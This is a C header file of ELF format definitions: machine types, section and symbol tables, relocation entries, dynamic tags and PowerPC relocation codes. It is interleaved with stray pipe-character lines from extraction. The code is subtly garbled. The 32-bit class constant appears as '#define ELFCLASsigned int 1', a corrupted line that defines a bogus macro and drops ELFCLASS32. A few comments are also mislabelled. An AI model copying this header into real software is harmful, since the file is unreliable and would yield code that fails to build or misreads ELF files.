||||||
|
#define ELFCLASSNONE 0 /* invalid */
|
||||||
|
#define ELFCLASsigned int 1 /* 32-bit objs */
|
||||||
|
#define ELFCLASS64 2 /* 64-bit objs */
|
||||||
|
#define ELFCLASSNUM 3 /* number of classes */
|
||||||
|
|
||||||
|
/* e_ident[] data encoding */
|
||||||
|
#define ELFDATANONE 0 /* invalid */
|
||||||
|
#define ELFDATA2LSB 1 /* Little-Endian */
|
||||||
|
#define ELFDATA2MSB 2 /* Big-Endian */
|
||||||
|
#define ELFDATANUM 3 /* number of data encode defines */
|
||||||
|
|
||||||
|
/* e_ident[] OS/ABI specific ELF extensions */
|
||||||
|
#define ELFOSABI_NONE 0 /* No extension specified */
|
||||||
|
#define ELFOSABI_HPUX 1 /* Hewlett-Packard HP-UX */
|
||||||
|
#define ELFOSABI_NETBSD 2 /* NetBSD */
|
||||||
|
#define ELFOSABI_LINUX 3 /* Linux */
|
||||||
|
#define ELFOSABI_SOLARIS 6 /* Sun Solaris */
|
||||||
|
#define ELFOSABI_AIX 7 /* AIX */
|
||||||
|
#define ELFOSABI_IRIX 8 /* IRIX */
|
||||||
|
#define ELFOSABI_FREEBSD 9 /* FreeBSD */
|
||||||
|
#define ELFOSABI_TRU64 10 /* Compaq TRU64 UNIX */
|
||||||
|
#define ELFOSABI_MODESTO 11 /* Novell Modesto */
|
||||||
|
#define ELFOSABI_OPENBSD 12 /* OpenBSD */
|
||||||
|
/* 64-255 Architecture-specific value range */
|
||||||
|
|
||||||
|
/* e_ident[] ABI Version */
|
||||||
|
#define ELFABIVERSION 0
|
||||||
|
|
||||||
|
/* e_ident */
|
||||||
|
#define IS_ELF(ehdr) ((ehdr).e_ident[EI_MAG0] == ELFMAG0 && \
|
||||||
|
(ehdr).e_ident[EI_MAG1] == ELFMAG1 && \
|
||||||
|
(ehdr).e_ident[EI_MAG2] == ELFMAG2 && \
|
||||||
|
(ehdr).e_ident[EI_MAG3] == ELFMAG3)
|
||||||
|
|
||||||
|
/* ELF Header */
|
||||||
|
typedef struct elfhdr{
|
||||||
|
unsigned char e_ident[EI_NIDENT]; /* ELF Identification */
|
||||||
|
Elf32_Half e_type; /* object file type */
|
||||||
|
Elf32_Half e_machine; /* machine */
|
||||||
|
Elf32_Word e_version; /* object file version */
|
||||||
|
Elf32_Addr e_entry; /* virtual entry point */
|
||||||
|
Elf32_Off e_phoff; /* program header table offset */
|
||||||
|
Elf32_Off e_shoff; /* section header table offset */
|
||||||
|
Elf32_Word e_flags; /* processor-specific flags */
|
||||||
|
Elf32_Half e_ehsize; /* ELF header size */
|
||||||
|
Elf32_Half e_phentsize; /* program header entry size */
|
||||||
|
Elf32_Half e_phnum; /* number of program header entries */
|
||||||
|
Elf32_Half e_shentsize; /* section header entry size */
|
||||||
|
Elf32_Half e_shnum; /* number of section header entries */
|
||||||
|
Elf32_Half e_shstrndx; /* section header table's "section
|
||||||
|
header string table" entry offset */
|
||||||
|
} Elf32_Ehdr;
|
||||||
|
|
||||||
|
/* e_type */
|
||||||
|
#define ET_NONE 0 /* No file type */
|
||||||
|
#define ET_REL 1 /* relocatable file */
|
||||||
|
#define ET_EXEC 2 /* executable file */
|
||||||
|
#define ET_DYN 3 /* shared object file */
|
||||||
|
#define ET_CORE 4 /* core file */
|
||||||
|
#define ET_NUM 5 /* number of types */
|
||||||
|
#define ET_LOOS 0xfe00 /* reserved range for operating */
|
||||||
|
#define ET_HIOS 0xfeff /* system specific e_type */
|
||||||
|
#define ET_LOPROC 0xff00 /* reserved range for processor */
|
||||||
|
#define ET_HIPROC 0xffff /* specific e_type */
|
||||||
|
|
||||||
|
/* e_machine */
|
||||||
|
#define EM_NONE 0 /* No Machine */
|
||||||
|
#define EM_M32 1 /* AT&T WE 32100 */
|
||||||
|
#define EM_SPARC 2 /* SPARC */
|
||||||
|
#define EM_386 3 /* Intel 80386 */
|
||||||
|
#define EM_68K 4 /* Motorola 68000 */
|
||||||
|
#define EM_88K 5 /* Motorola 88000 */
|
||||||
|
#if 0
|
||||||
|
#define EM_486 6 /* RESERVED - was Intel 80486 */
|
||||||
|
#endif
|
||||||
|
#define EM_860 7 /* Intel 80860 */
|
||||||
|
#define EM_MIPS 8 /* MIPS R3000 Big-Endian only */
|
||||||
|
#define EM_S370 9 /* IBM System/370 Processor */
|
||||||
|
#define EM_MIPS_RS4_BE 10 /* MIPS R4000 Big-Endian */
|
||||||
|
#if 0
|
||||||
|
#define EM_SPARC64 11 /* RESERVED - was SPARC v9
|
||||||
|
64-bit unoffical */
|
||||||
|
#endif
|
||||||
|
/* RESERVED 11-14 for future use */
|
||||||
|
#define EM_PARISC 15 /* HPPA */
|
||||||
|
/* RESERVED 16 for future use */
|
||||||
|
#define EM_VPP500 17 /* Fujitsu VPP500 */
|
||||||
|
#define EM_SPARC32PLUS 18 /* Enhanced instruction set SPARC */
|
||||||
|
#define EM_960 19 /* Intel 80960 */
|
||||||
|
#define EM_PPC 20 /* PowerPC */
|
||||||
|
#define EM_PPC64 21 /* 64-bit PowerPC */
|
||||||
|
#define EM_S390 22 /* IBM System/390 Processor */
|
||||||
|
/* RESERVED 23-35 for future use */
|
||||||
|
#define EM_V800 36 /* NEC V800 */
|
||||||
|
#define EM_FR20 37 /* Fujitsu FR20 */
|
||||||
|
#define EM_RH32 38 /* TRW RH-32 */
|
||||||
|
#define EM_RCE 39 /* Motorola RCE */
|
||||||
|
#define EM_ARM 40 /* Advanced Risc Machines ARM */
|
||||||
|
#define EM_ALPHA 41 /* Digital Alpha */
|
||||||
|
#define EM_SH 42 /* Hitachi SH */
|
||||||
|
#define EM_SPARCV9 43 /* SPARC Version 9 */
|
||||||
|
#define EM_TRICORE 44 /* Siemens TriCore embedded processor */
|
||||||
|
#define EM_ARC 45 /* Argonaut RISC Core */
|
||||||
|
#define EM_H8_300 46 /* Hitachi H8/300 */
|
||||||
|
#define EM_H8_300H 47 /* Hitachi H8/300H */
|
||||||
|
#define EM_H8S 48 /* Hitachi H8S */
|
||||||
|
#define EM_H8_500 49 /* Hitachi H8/500 */
|
||||||
|
#define EM_IA_64 50 /* Intel Merced */
|
||||||
|
#define EM_MIPS_X 51 /* Stanford MIPS-X */
|
||||||
|
#define EM_COLDFIRE 52 /* Motorola Coldfire */
|
||||||
|
#define EM_68HC12 53 /* Motorola M68HC12 */
|
||||||
|
#define EM_MMA 54 /* Fujitsu MMA Multimedia Accelerator*/
|
||||||
|
#define EM_PCP 55 /* Siemens PCP */
|
||||||
|
#define EM_NCPU 56 /* Sony nCPU embeeded RISC */
|
||||||
|
#define EM_NDR1 57 /* Denso NDR1 microprocessor */
|
||||||
|
#define EM_STARCORE 58 /* Motorola Start*Core processor */
|
||||||
|
#define EM_ME16 59 /* Toyota ME16 processor */
|
||||||
|
#define EM_ST100 60 /* STMicroelectronic ST100 processor */
|
||||||
|
#define EM_TINYJ 61 /* Advanced Logic Corp. Tinyj emb.fam*/
|
||||||
|
#define EM_X86_64 62 /* AMD x86-64 */
|
||||||
|
#define EM_PDSP 63 /* Sony DSP Processor */
|
||||||
|
/* RESERVED 64,65 for future use */
|
||||||
|
#define EM_FX66 66 /* Siemens FX66 microcontroller */
|
||||||
|
#define EM_ST9PLUS 67 /* STMicroelectronics ST9+ 8/16 mc */
|
||||||
|
#define EM_ST7 68 /* STmicroelectronics ST7 8 bit mc */
|
||||||
|
#define EM_68HC16 69 /* Motorola MC68HC16 microcontroller */
|
||||||
|
#define EM_68HC11 70 /* Motorola MC68HC11 microcontroller */
|
||||||
|
#define EM_68HC08 71 /* Motorola MC68HC08 microcontroller */
|
||||||
|
#define EM_68HC05 72 /* Motorola MC68HC05 microcontroller */
|
||||||
|
#define EM_SVX 73 /* Silicon Graphics SVx */
|
||||||
|
#define EM_ST19 74 /* STMicroelectronics ST19 8 bit mc */
|
||||||
|
#define EM_VAX 75 /* Digital VAX */
|
||||||
|
#define EM_CHRIS 76 /* Axis Communications embedded proc. */
|
||||||
|
#define EM_JAVELIN 77 /* Infineon Technologies emb. proc. */
|
||||||
|
#define EM_FIREPATH 78 /* Element 14 64-bit DSP Processor */
|
||||||
|
#define EM_ZSP 79 /* LSI Logic 16-bit DSP Processor */
|
||||||
|
#define EM_MMIX 80 /* Donald Knuth's edu 64-bit proc. */
|
||||||
|
#define EM_HUANY 81 /* Harvard University mach-indep objs */
|
||||||
|
#define EM_PRISM 82 /* SiTera Prism */
|
||||||
|
#define EM_AVR 83 /* Atmel AVR 8-bit microcontroller */
|
||||||
|
#define EM_FR30 84 /* Fujitsu FR30 */
|
||||||
|
#define EM_D10V 85 /* Mitsubishi DV10V */
|
||||||
|
#define EM_D30V 86 /* Mitsubishi DV30V */
|
||||||
|
#define EM_V850 87 /* NEC v850 */
|
||||||
|
#define EM_M32R 88 /* Mitsubishi M32R */
|
||||||
|
#define EM_MN10300 89 /* Matsushita MN10200 */
|
||||||
|
#define EM_MN10200 90 /* Matsushita MN10200 */
|
||||||
|
#define EM_PJ 91 /* picoJava */
|
||||||
|
#define EM_NUM 92 /* number of machine types */
|
||||||
|
|
||||||
|
/* Version */
|
||||||
|
#define EV_NONE 0 /* Invalid */
|
||||||
|
#define EV_CURRENT 1 /* Current */
|
||||||
|
#define EV_NUM 2 /* number of versions */
|
||||||
|
|
||||||
|
/* Section Header */
|
||||||
|
typedef struct {
|
||||||
|
Elf32_Word sh_name; /* name - index into section header
|
||||||
|
string table section */
|
||||||
|
Elf32_Word sh_type; /* type */
|
||||||
|
Elf32_Word sh_flags; /* flags */
|
||||||
|
Elf32_Addr sh_addr; /* address */
|
||||||
|
Elf32_Off sh_offset; /* file offset */
|
||||||
|
Elf32_Word sh_size; /* section size */
|
||||||
|
Elf32_Word sh_link; /* section header table index link */
|
||||||
|
Elf32_Word sh_info; /* extra information */
|
||||||
|
Elf32_Word sh_addralign; /* address alignment */
|
||||||
|
Elf32_Word sh_entsize; /* section entry size */
|
||||||
|
} Elf32_Shdr;
|
||||||
|
|
||||||
|
/* Special Section Indexes */
|
||||||
|
#define SHN_UNDEF 0 /* undefined */
|
||||||
|
#define SHN_LORESERVE 0xff00 /* lower bounds of reserved indexes */
|
||||||
|
#define SHN_LOPROC 0xff00 /* reserved range for processor */
|
||||||
|
#define SHN_HIPROC 0xff1f /* specific section indexes */
|
||||||
|
#define SHN_LOOS 0xff20 /* reserved range for operating */
|
||||||
|
#define SHN_HIOS 0xff3f /* specific semantics */
|
||||||
|
#define SHN_ABS 0xfff1 /* absolute value */
|
||||||
|
#define SHN_COMMON 0xfff2 /* common symbol */
|
||||||
|
#define SHN_XINDEX 0xffff /* Index is an extra table */
|
||||||
|
#define SHN_HIRESERVE 0xffff /* upper bounds of reserved indexes */
|
||||||
|
|
||||||
|
/* sh_type */
|
||||||
|
#define SHT_NULL 0 /* inactive */
|
||||||
|
#define SHT_PROGBITS 1 /* program defined information */
|
||||||
|
#define SHT_SYMTAB 2 /* symbol table section */
|
||||||
|
#define SHT_STRTAB 3 /* string table section */
|
||||||
|
#define SHT_RELA 4 /* relocation section with addends*/
|
||||||
|
#define SHT_HASH 5 /* symbol hash table section */
|
||||||
|
#define SHT_DYNAMIC 6 /* dynamic section */
|
||||||
|
#define SHT_NOTE 7 /* note section */
|
||||||
|
#define SHT_NOBITS 8 /* no space section */
|
||||||
|
#define SHT_REL 9 /* relation section without addends */
|
||||||
|
#define SHT_SHLIB 10 /* reserved - purpose unknown */
|
||||||
|
#define SHT_DYNSYM 11 /* dynamic symbol table section */
|
||||||
|
#define SHT_INIT_ARRAY 14 /* Array of constructors */
|
||||||
|
#define SHT_FINI_ARRAY 15 /* Array of destructors */
|
||||||
|
#define SHT_PREINIT_ARRAY 16 /* Array of pre-constructors */
|
||||||
|
#define SHT_GROUP 17 /* Section group */
|
||||||
|
#define SHT_SYMTAB_SHNDX 18 /* Extended section indeces */
|
||||||
|
#define SHT_NUM 19 /* number of section types */
|
||||||
|
#define SHT_LOOS 0x60000000 /* Start OS-specific */
|
||||||
|
#define SHT_HIOS 0x6fffffff /* End OS-specific */
|
||||||
|
#define SHT_LOPROC 0x70000000 /* reserved range for processor */
|
||||||
|
#define SHT_HIPROC 0x7fffffff /* specific section header types */
|
||||||
|
#define SHT_LOUSER 0x80000000 /* reserved range for application */
|
||||||
|
#define SHT_HIUSER 0xffffffff /* specific indexes */
|
||||||
|
|
||||||
|
/* Section names */
|
||||||
|
#define ELF_BSS ".bss" /* uninitialized data */
|
||||||
|
#define ELF_COMMENT ".comment" /* version control information */
|
||||||
|
#define ELF_DATA ".data" /* initialized data */
|
||||||
|
#define ELF_DATA1 ".data1" /* initialized data */
|
||||||
|
#define ELF_DEBUG ".debug" /* debug */
|
||||||
|
#define ELF_DYNAMIC ".dynamic" /* dynamic linking information */
|
||||||
|
#define ELF_DYNSTR ".dynstr" /* dynamic string table */
|
||||||
|
#define ELF_DYNSYM ".dynsym" /* dynamic symbol table */
|
||||||
|
#define ELF_FINI ".fini" /* termination code */
|
||||||
|
#define ELF_FINI_ARRAY ".fini_array" /* Array of destructors */
|
||||||
|
#define ELF_GOT ".got" /* global offset table */
|
||||||
|
#define ELF_HASH ".hash" /* symbol hash table */
|
||||||
|
#define ELF_INIT ".init" /* initialization code */
|
||||||
|
#define ELF_INIT_ARRAY ".init_array" /* Array of constuctors */
|
||||||
|
#define ELF_INTERP ".interp" /* Pathname of program interpreter */
|
||||||
|
#define ELF_LINE ".line" /* Symbolic line numnber information */
|
||||||
|
#define ELF_NOTE ".note" /* Contains note section */
|
||||||
|
#define ELF_PLT ".plt" /* Procedure linkage table */
|
||||||
|
#define ELF_PREINIT_ARRAY ".preinit_array" /* Array of pre-constructors */
|
||||||
|
#define ELF_REL_DATA ".rel.data" /* relocation data */
|
||||||
|
#define ELF_REL_FINI ".rel.fini" /* relocation termination code */
|
||||||
|
#define ELF_REL_INIT ".rel.init" /* relocation initialization code */
|
||||||
|
#define ELF_REL_DYN ".rel.dyn" /* relocaltion dynamic link info */
|
||||||
|
#define ELF_REL_RODATA ".rel.rodata" /* relocation read-only data */
|
||||||
|
#define ELF_REL_TEXT ".rel.text" /* relocation code */
|
||||||
|
#define ELF_RODATA ".rodata" /* read-only data */
|
||||||
|
#define ELF_RODATA1 ".rodata1" /* read-only data */
|
||||||
|
#define ELF_SHSTRTAB ".shstrtab" /* section header string table */
|
||||||
|
#define ELF_STRTAB ".strtab" /* string table */
|
||||||
|
#define ELF_SYMTAB ".symtab" /* symbol table */
|
||||||
|
#define ELF_SYMTAB_SHNDX ".symtab_shndx"/* symbol table section index */
|
||||||
|
#define ELF_TBSS ".tbss" /* thread local uninit data */
|
||||||
|
#define ELF_TDATA ".tdata" /* thread local init data */
|
||||||
|
#define ELF_TDATA1 ".tdata1" /* thread local init data */
|
||||||
|
#define ELF_TEXT ".text" /* code */
|
||||||
|
|
||||||
|
/* Section Attribute Flags - sh_flags */
|
||||||
|
#define SHF_WRITE 0x1 /* Writable */
|
||||||
|
#define SHF_ALLOC 0x2 /* occupies memory */
|
||||||
|
#define SHF_EXECINSTR 0x4 /* executable */
|
||||||
|
#define SHF_MERGE 0x10 /* Might be merged */
|
||||||
|
#define SHF_STRINGS 0x20 /* Contains NULL terminated strings */
|
||||||
|
#define SHF_INFO_LINK 0x40 /* sh_info contains SHT index */
|
||||||
|
#define SHF_LINK_ORDER 0x80 /* Preserve order after combining*/
|
||||||
|
#define SHF_OS_NONCONFORMING 0x100 /* Non-standard OS specific handling */
|
||||||
|
#define SHF_GROUP 0x200 /* Member of section group */
|
||||||
|
#define SHF_TLS 0x400 /* Thread local storage */
|
||||||
|
#define SHF_MASKOS 0x0ff00000 /* OS specific */
|
||||||
|
#define SHF_MASKPROC 0xf0000000 /* reserved bits for processor */
|
||||||
|
/* specific section attributes */
|
||||||
|
|
||||||
|
/* Section Group Flags */
|
||||||
|
#define GRP_COMDAT 0x1 /* COMDAT group */
|
||||||
|
#define GRP_MASKOS 0x0ff00000 /* Mask OS specific flags */
|
||||||
|
#define GRP_MASKPROC 0xf0000000 /* Mask processor specific flags */
|
||||||
|
|
||||||
|
/* Symbol Table Entry */
|
||||||
|
typedef struct elf32_sym {
|
||||||
|
Elf32_Word st_name; /* name - index into string table */
|
||||||
|
Elf32_Addr st_value; /* symbol value */
|
||||||
|
Elf32_Word st_size; /* symbol size */
|
||||||
|
unsigned char st_info; /* type and binding */
|
||||||
|
unsigned char st_other; /* 0 - no defined meaning */
|
||||||
|
Elf32_Half st_shndx; /* section header index */
|
||||||
|
} Elf32_Sym;
|
||||||
|
|
||||||
|
/* Symbol table index */
|
||||||
|
#define STN_UNDEF 0 /* undefined */
|
||||||
|
|
||||||
|
/* Extract symbol info - st_info */
|
||||||
|
#define ELF32_ST_BIND(x) ((x) >> 4)
|
||||||
|
#define ELF32_ST_TYPE(x) (((unsigned int) x) & 0xf)
|
||||||
|
#define ELF32_ST_INFO(b,t) (((b) << 4) + ((t) & 0xf))
|
||||||
|
#define ELF32_ST_VISIBILITY(x) ((x) & 0x3)
|
||||||
|
|
||||||
|
/* Symbol Binding - ELF32_ST_BIND - st_info */
|
||||||
|
#define STB_LOCAL 0 /* Local symbol */
|
||||||
|
#define STB_GLOBAL 1 /* Global symbol */
|
||||||
|
#define STB_WEAK 2 /* like global - lower precedence */
|
||||||
|
#define STB_NUM 3 /* number of symbol bindings */
|
||||||
|
#define STB_LOOS 10 /* reserved range for operating */
|
||||||
|
#define STB_HIOS 12 /* system specific symbol bindings */
|
||||||
|
#define STB_LOPROC 13 /* reserved range for processor */
|
||||||
|
#define STB_HIPROC 15 /* specific symbol bindings */
|
||||||
|
|
||||||
|
/* Symbol type - ELF32_ST_TYPE - st_info */
|
||||||
|
#define STT_NOTYPE 0 /* not specified */
|
||||||
|
#define STT_OBJECT 1 /* data object */
|
||||||
|
#define STT_FUNC 2 /* function */
|
||||||
|
#define STT_SECTION 3 /* section */
|
||||||
|
#define STT_FILE 4 /* file */
|
||||||
|
#define STT_NUM 5 /* number of symbol types */
|
||||||
|
#define STT_TLS 6 /* Thread local storage symbol */
|
||||||
|
#define STT_LOOS 10 /* reserved range for operating */
|
||||||
|
#define STT_HIOS 12 /* system specific symbol types */
|
||||||
|
#define STT_LOPROC 13 /* reserved range for processor */
|
||||||
|
#define STT_HIPROC 15 /* specific symbol types */
|
||||||
|
|
||||||
|
/* Symbol visibility - ELF32_ST_VISIBILITY - st_other */
|
||||||
|
#define STV_DEFAULT 0 /* Normal visibility rules */
|
||||||
|
#define STV_INTERNAL 1 /* Processor specific hidden class */
|
||||||
|
#define STV_HIDDEN 2 /* Symbol unavailable in other mods */
|
||||||
|
#define STV_PROTECTED 3 /* Not preemptible, not exported */
|
||||||
|
|
||||||
|
|
||||||
|
/* Relocation entry with implicit addend */
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
Elf32_Addr r_offset; /* offset of relocation */
|
||||||
|
Elf32_Word r_info; /* symbol table index and type */
|
||||||
|
} Elf32_Rel;
|
||||||
|
|
||||||
|
/* Relocation entry with explicit addend */
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
Elf32_Addr r_offset; /* offset of relocation */
|
||||||
|
Elf32_Word r_info; /* symbol table index and type */
|
||||||
|
Elf32_Sword r_addend;
|
||||||
|
} Elf32_Rela;
|
||||||
|
|
||||||
|
/* Extract relocation info - r_info */
|
||||||
|
#define ELF32_R_SYM(i) ((i) >> 8)
|
||||||
|
#define ELF32_R_TYPE(i) ((unsigned char) (i))
|
||||||
|
#define ELF32_R_INFO(s,t) (((s) << 8) + (unsigned char)(t))
|
||||||
|
|
||||||
|
/* Program Header */
|
||||||
|
typedef struct {
|
||||||
|
Elf32_Word p_type; /* segment type */
|
||||||
|
Elf32_Off p_offset; /* segment offset */
|
||||||
|
Elf32_Addr p_vaddr; /* virtual address of segment */
|
||||||
|
Elf32_Addr p_paddr; /* physical address - ignored? */
|
||||||
|
Elf32_Word p_filesz; /* number of bytes in file for seg. */
|
||||||
|
Elf32_Word p_memsz; /* number of bytes in mem. for seg. */
|
||||||
|
Elf32_Word p_flags; /* flags */
|
||||||
|
Elf32_Word p_align; /* memory alignment */
|
||||||
|
} Elf32_Phdr;
|
||||||
|
|
||||||
|
/* Segment types - p_type */
|
||||||
|
#define PT_NULL 0 /* unused */
|
||||||
|
#define PT_LOAD 1 /* loadable segment */
|
||||||
|
#define PT_DYNAMIC 2 /* dynamic linking section */
|
||||||
|
#define PT_INTERP 3 /* the RTLD */
|
||||||
|
#define PT_NOTE 4 /* auxiliary information */
|
||||||
|
#define PT_SHLIB 5 /* reserved - purpose undefined */
|
||||||
|
#define PT_PHDR 6 /* program header */
|
||||||
|
#define PT_TLS 7 /* Thread local storage template */
|
||||||
|
#define PT_NUM 8 /* Number of segment types */
|
||||||
|
#define PT_LOOS 0x60000000 /* reserved range for operating */
|
||||||
|
#define PT_HIOS 0x6fffffff /* system specific segment types */
|
||||||
|
#define PT_LOPROC 0x70000000 /* reserved range for processor */
|
||||||
|
#define PT_HIPROC 0x7fffffff /* specific segment types */
|
||||||
|
|
||||||
|
/* Segment flags - p_flags */
|
||||||
|
#define PF_X 0x1 /* Executable */
|
||||||
|
#define PF_W 0x2 /* Writable */
|
||||||
|
#define PF_R 0x4 /* Readable */
|
||||||
|
#define PF_MASKOS 0x0ff00000 /* OS specific segment flags */
|
||||||
|
#define PF_MASKPROC 0xf0000000 /* reserved bits for processor */
|
||||||
|
/* specific segment flags */
|
||||||
|
/* Dynamic structure */
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
Elf32_Sword d_tag; /* controls meaning of d_val */
|
||||||
|
union
|
||||||
|
{
|
||||||
|
Elf32_Word d_val; /* Multiple meanings - see d_tag */
|
||||||
|
Elf32_Addr d_ptr; /* program virtual address */
|
||||||
|
} d_un;
|
||||||
|
} Elf32_Dyn;
|
||||||
|
|
||||||
|
extern Elf32_Dyn _DYNAMIC[];
|
||||||
|
|
||||||
|
/* Dynamic Array Tags - d_tag */
|
||||||
|
#define DT_NULL 0 /* marks end of _DYNAMIC array */
|
||||||
|
#define DT_NEEDED 1 /* string table offset of needed lib */
|
||||||
|
#define DT_PLTRELSZ 2 /* size of relocation entries in PLT */
|
||||||
|
#define DT_PLTGOT 3 /* address PLT/GOT */
|
||||||
|
#define DT_HASH 4 /* address of symbol hash table */
|
||||||
|
#define DT_STRTAB 5 /* address of string table */
|
||||||
|
#define DT_SYMTAB 6 /* address of symbol table */
|
||||||
|
#define DT_RELA 7 /* address of relocation table */
|
||||||
|
#define DT_RELASZ 8 /* size of relocation table */
|
||||||
|
#define DT_RELAENT 9 /* size of relocation entry */
|
||||||
|
#define DT_STRSZ 10 /* size of string table */
|
||||||
|
#define DT_SYMENT 11 /* size of symbol table entry */
|
||||||
|
#define DT_INIT 12 /* address of initialization func. */
|
||||||
|
#define DT_FINI 13 /* address of termination function */
|
||||||
|
#define DT_SONAME 14 /* string table offset of shared obj */
|
||||||
|
#define DT_RPATH 15 /* string table offset of library
|
||||||
|
search path */
|
||||||
|
#define DT_SYMBOLIC 16 /* start sym search in shared obj. */
|
||||||
|
#define DT_REL 17 /* address of rel. tbl. w addends */
|
||||||
|
#define DT_RELSZ 18 /* size of DT_REL relocation table */
|
||||||
|
#define DT_RELENT 19 /* size of DT_REL relocation entry */
|
||||||
|
#define DT_PLTREL 20 /* PLT referenced relocation entry */
|
||||||
|
#define DT_DEBUG 21 /* bugger */
|
||||||
|
#define DT_TEXTREL 22 /* Allow rel. mod. to unwritable seg */
|
||||||
|
#define DT_JMPREL 23 /* add. of PLT's relocation entries */
|
||||||
|
#define DT_BIND_NOW 24 /* Process relocations of object */
|
||||||
|
#define DT_INIT_ARRAY 25 /* Array with addresses of init fct */
|
||||||
|
#define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */
|
||||||
|
#define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */
|
||||||
|
#define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */
|
||||||
|
#define DT_RUNPATH 29 /* Library search path */
|
||||||
|
#define DT_FLAGS 30 /* Flags for the object being loaded */
|
||||||
|
#define DT_ENCODING 32 /* Start of encoded range */
|
||||||
|
#define DT_PREINIT_ARRAY 32 /* Array with addresses of preinit fct*/
|
||||||
|
#define DT_PREINIT_ARRAYSZ 33 /* size in bytes of DT_PREINIT_ARRAY */
|
||||||
|
#define DT_NUM 34 /* Number used. */
|
||||||
|
#define DT_LOOS 0x60000000 /* reserved range for OS */
|
||||||
|
#define DT_HIOS 0x6fffffff /* specific dynamic array tags */
|
||||||
|
#define DT_LOPROC 0x70000000 /* reserved range for processor */
|
||||||
|
#define DT_HIPROC 0x7fffffff /* specific dynamic array tags */
|
||||||
|
|
||||||
|
/* Dynamic Tag Flags - d_un.d_val */
|
||||||
|
#define DF_ORIGIN 0x01 /* Object may use DF_ORIGIN */
|
||||||
|
#define DF_SYMBOLIC 0x02 /* Symbol resolutions starts here */
|
||||||
|
#define DF_TEXTREL 0x04 /* Object contains text relocations */
|
||||||
|
#define DF_BIND_NOW 0x08 /* No lazy binding for this object */
|
||||||
|
#define DF_STATIC_TLS 0x10 /* Static thread local storage */
|
||||||
|
|
||||||
|
/* Standard ELF hashing function */
|
||||||
|
unsigned long elf_hash(const unsigned char *name);
|
||||||
|
|
||||||
|
#define ELF_TARG_VER 1 /* The ver for which this code is intended */
|
||||||
|
|
||||||
|
/*
|
||||||
|
* XXX - PowerPC defines really don't belong in here,
|
||||||
|
* but we'll put them in for simplicity.
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* Values for Elf32/64_Ehdr.e_flags. */
|
||||||
|
#define EF_PPC_EMB 0x80000000 /* PowerPC embedded flag */
|
||||||
|
|
||||||
|
/* Cygnus local bits below */
|
||||||
|
#define EF_PPC_RELOCATABLE 0x00010000 /* PowerPC -mrelocatable flag*/
|
||||||
|
#define EF_PPC_RELOCATABLE_LIB 0x00008000 /* PowerPC -mrelocatable-lib
|
||||||
|
flag */
|
||||||
|
|
||||||
|
/* PowerPC relocations defined by the ABIs */
|
||||||
|
#define R_PPC_NONE 0
|
||||||
|
#define R_PPC_ADDR32 1 /* 32bit absolute address */
|
||||||
|
#define R_PPC_ADDR24 2 /* 26bit address, 2 bits ignored. */
|
||||||
|
#define R_PPC_ADDR16 3 /* 16bit absolute address */
|
||||||
|
#define R_PPC_ADDR16_LO 4 /* lower 16bit of absolute address */
|
||||||
|
#define R_PPC_ADDR16_HI 5 /* high 16bit of absolute address */
|
||||||
|
#define R_PPC_ADDR16_HA 6 /* adjusted high 16bit */
|
||||||
|
#define R_PPC_ADDR14 7 /* 16bit address, 2 bits ignored */
|
||||||
|
#define R_PPC_ADDR14_BRTAKEN 8
|
||||||
|
#define R_PPC_ADDR14_BRNTAKEN 9
|
||||||
|
#define R_PPC_REL24 10 /* PC relative 26 bit */
|
||||||
|
#define R_PPC_REL14 11 /* PC relative 16 bit */
|
||||||
|
#define R_PPC_REL14_BRTAKEN 12
|
||||||
|
#define R_PPC_REL14_BRNTAKEN 13
|
||||||
|
#define R_PPC_GOT16 14
|
||||||
|
#define R_PPC_GOT16_LO 15
|
||||||
|
#define R_PPC_GOT16_HI 16
|
||||||
|
#define R_PPC_GOT16_HA 17
|
||||||
|
#define R_PPC_PLTREL24 18
|
||||||
|
#define R_PPC_COPY 19
|
||||||
|
#define R_PPC_GLOB_DAT 20
|
||||||
|
#define R_PPC_JMP_SLOT 21
|
||||||
|
#define R_PPC_RELATIVE 22
|
||||||
|
#define R_PPC_LOCAL24PC 23
|
||||||
|
#define R_PPC_UADDR32 24
|
||||||
|
#define R_PPC_UADDR16 25
|
||||||
|
#define R_PPC_REL32 26
|
||||||
|
#define R_PPC_PLT32 27
|
||||||
|
#define R_PPC_PLTREL32 28
|
||||||
|
#define R_PPC_PLT16_LO 29
|
||||||
|
#define R_PPC_PLT16_HI 30
|
||||||
|
#define R_PPC_PLT16_HA 31
|
||||||
|
#define R_PPC_SDAREL16 32
|
||||||
|
#define R_PPC_SECTOFF 33
|
||||||
|
#define R_PPC_SECTOFF_LO 34
|
||||||
|
#define R_PPC_SECTOFF_HI 35
|
||||||
|
#define R_PPC_SECTOFF_HA 36
|
||||||
|
/* Keep this the last entry. */
|
||||||
|
#define R_PPC_NUM 37
|
||||||
|
|
||||||
|
/* The remaining relocs are from the Embedded ELF ABI, and are not
|
||||||
|
in the SVR4 ELF ABI. */
|
||||||
|
#define R_PPC_EMB_NADDR32 101
|
||||||
|
#define R_PPC_EMB_NADDR16 102
|
||||||
|
#define R_PPC_EMB_NADDR16_LO 103
|
||||||
|
#define R_PPC_EMB_NADDR16_HI 104
|
||||||
|
#define R_PPC_EMB_NADDR16_HA 105
|
||||||
|
#define R_PPC_EMB_SDAI16 106
|
||||||
|
#define R_PPC_EMB_SDA2I16 107
|
||||||
|
#define R_PPC_EMB_SDA2REL 108
|
||||||
|
#define R_PPC_EMB_SDA21 109 /* 16 bit offset in SDA */
|
||||||
|
#define R_PPC_EMB_MRKREF 110
|
||||||
|
#define R_PPC_EMB_RELSEC16 111
|
||||||
|
#define R_PPC_EMB_RELST_LO 112
|
||||||
|
#define R_PPC_EMB_RELST_HI 113
|
||||||
|
#define R_PPC_EMB_RELST_HA 114
|
||||||
|
#define R_PPC_EMB_BIT_FLD 115
|
||||||
|
#define R_PPC_EMB_RELSDA 116 /* 16 bit relative offset in SDA */
|
||||||
|
|
||||||
|
/* Diab tool relocations. */
|
||||||
|
#define R_PPC_DIAB_SDA21_LO 180 /* like EMB_SDA21, but lower 16 bit */
|
||||||
|
#define R_PPC_DIAB_SDA21_HI 181 /* like EMB_SDA21, but high 16 bit */
|
||||||
|
